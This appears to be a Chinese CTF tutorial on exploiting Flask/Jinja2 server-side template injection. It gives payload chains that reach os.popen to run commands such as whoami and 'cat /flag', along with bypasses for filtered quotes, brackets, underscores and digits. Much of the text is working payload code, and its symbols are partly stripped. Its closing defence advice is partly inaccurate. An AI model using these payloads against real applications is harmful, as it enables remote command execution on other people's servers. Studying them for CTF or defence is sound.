1. Flask SSTI漏洞基础与魔术方法解析Flask作为轻量级Python Web框架其模板引擎Jinja2的SSTIServer-Side Template Injection漏洞一直是CTF比赛的常客。理解这个漏洞需要先掌握两个核心概念魔术方法和过滤器链。魔术方法是Python中双下划线包裹的特殊方法比如__class__能获取对象所属类。在SSTI利用中常用魔术方法构成调用链.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[os].popen(whoami).read()这条链的运作原理是.__class__获取空字符串的str类__mro__[1]找到str的父类object__subclasses__()[132]定位到os._wrap_close类通过__globals__获取模块全局变量实战中会遇到各种过滤限制比如web365关卡禁用中括号时可以用__getitem__替代# 原写法x[os] x.__getitem__(os) # 等效调用2. 关键过滤场景的绕过技巧2.1 字符限制的突破方案当题目过滤引号时可以通过以下方式构造字符串request对象利用Flask的request对象获取参数值?name{{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}} aosbpopenccat /flagconfig拼接通过config对象的字符串特征提取字符config.__str__()[2] # 获取特定位置字符chr函数转换用ASCII码拼接字符串{% set chrurl_for.__globals__.__builtins__.chr %} {{ chr(99)~chr(97)~chr(116) }} # 拼出cat2.2 特殊符号的替代方案当下划线被禁用时如web366可用attr过滤器替代点号操作(lipsum|attr(__globals__)).os # 等效于lipsum.__globals__.os当数字被禁用时如web370可通过字典长度生成数字{% set onedict(a1)|join|length %} # 得到数字1 {% set twodict(aa1)|join|length %} # 得到数字23. 无中括号payload构造实战3.1 属性访问的多种姿势当中括号被过滤时除了__getitem__还可以pop方法将字符串转为列表后操作(config|string|list).pop(1) # 获取第二个字符字典合并利用dict和join拼接属性名{% set globals(a,a,dict(globals1)|join,a,a)|join %} # 生成__globals__字符串过滤器链通过select过滤器定位字符(()|select|string|list).pop(24) # 获取下划线字符3.2 综合绕过案例解析以web369为例当同时过滤引号、中括号、下划线时{% set a(()|select|string|list).pop(24) %} # 获取_ {% set globals(a,a,dict(globals1)|join,a,a)|join %} {% set builtins(a,a,dict(builtins1)|join,a,a)|join %} {% set chr(lipsum|attr(globals)).get(builtins).chr %} {{ chr(47)~chr(102)~chr(108)~chr(97)~chr(103) }} # /flag这种构造方式通过动态生成下划线字符拼接关键属性名用chr函数构造路径4. 高阶绕过技巧与防御建议4.1 全角字符绕过数字过滤当数字被严格过滤时如web372可使用全角数字绕过{% set onedict(1)|join|length %} # 全角数字 {% set cmdchr(one*99)~chr(one*97)~chr(one*116) %} # cat4.2 防御方案推荐开发者可采用以下防护措施禁用模板执行app.jinja_env.autoescape True严格过滤输入from jinja2 import escape render_template_string(escape(user_input))使用沙箱环境from restrictedpython import compile_restricted safe_builtins {_getitem_: lambda x,y: x[y]}